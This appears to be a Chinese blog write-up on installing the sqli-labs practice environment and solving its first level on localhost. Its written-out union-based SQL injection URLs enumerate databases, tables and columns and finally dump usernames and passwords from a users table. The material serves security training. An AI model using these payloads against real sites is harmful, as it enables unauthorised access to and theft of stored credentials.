sqli_labs
2022-01-10 09:18:11 # sql

Sqli_labs

sqli_labs 下载

安装

从https://github.com/Audi-1/sqli-labs下载源代码。

环境搭建用phpstudy

直接将文件拖入phpstudy根目录www文件下,进入sql-connections\db-creds.inc文件,修改mysql账号和密码。

打开界面后首先点击下方界面,进行sql数据库的的初始化。

iShot2022-01-16 16.33.49

成功后可点击下方的关卡,挑选训练界面。

iShot2022-01-16 16.36.11

实验

sqli_labs前几关都是最基础的训练,可以用最基础的联合注入查询,亦可以用报错注入来进行训练,只要掌握sql语句的闭合方式就可以成功注入

sql_labs第一关 GET -基于错误 -单引号 - 字符型

添加id=1后正常返回,然后加入id=1’ 出现报错界面。

iShot2022-01-16 16.40.11

错误内容是语法错误在1的旁边多了一个单引号,可以判断为字符型。

然后就是正常的方式用联合注入的方法进行查询。

1
http://localhost:1025/Less-1/?id=1' order by 3%23  判断列的长度。运用二分法判断。

4

发现返回正常然后写入4测试返回是否正常。发现返回异常。由此可以判断字段长为3.

1
http://localhost:1025/Less-1/?id=1' order by 4%23

iShot2022-01-16 16.46.05

然后使用联合注入方式查询回显位置。

iShot2022-01-16 16.48.28

发现返回正常。这是问什么呢?经过我的深刻思考与查看源代码后发现,需要让id=1为一个不可能查询到的数字才可以正常进行后面的查询。我填入id=-1后成功出现回显位。

1
http://localhost:1025/Less-1/?id=-1' union select 1,2,3%23

iShot2022-01-16 16.51.00

然后对数据库进行查询版本信息以及数据库信息。其中user():返回当前数据库连接使用的用户,database():返回当前数据库连接使用的数据库,version():返回当前数据库的版

1
http://localhost:1025/Less-1/?id=-1' union select 1,user(),version()%23

iShot2022-01-16 16.52.08

然后查看库名。其中group_concat方式按组查询所有数据库名。

1
http://localhost:1025/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

iShot2022-01-16 16.57.17

然后我们查看security里的表名。

1
http://localhost:1025/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23

iShot2022-01-16 16.58.45

我们发现其中的users表最像是有用户名信息的表。下面我们查看一下它。

1
http://localhost:1025/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23

iShot2022-01-16 17.01.41

发现里面有用户名和密码的列名,可以确定就是这个表没有错了。然后我们查询里面的用户名和密码

1
http://localhost:1025/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users%23

iShot2022-01-16 17.03.36

成功查询所有密码和用户名,测试结束。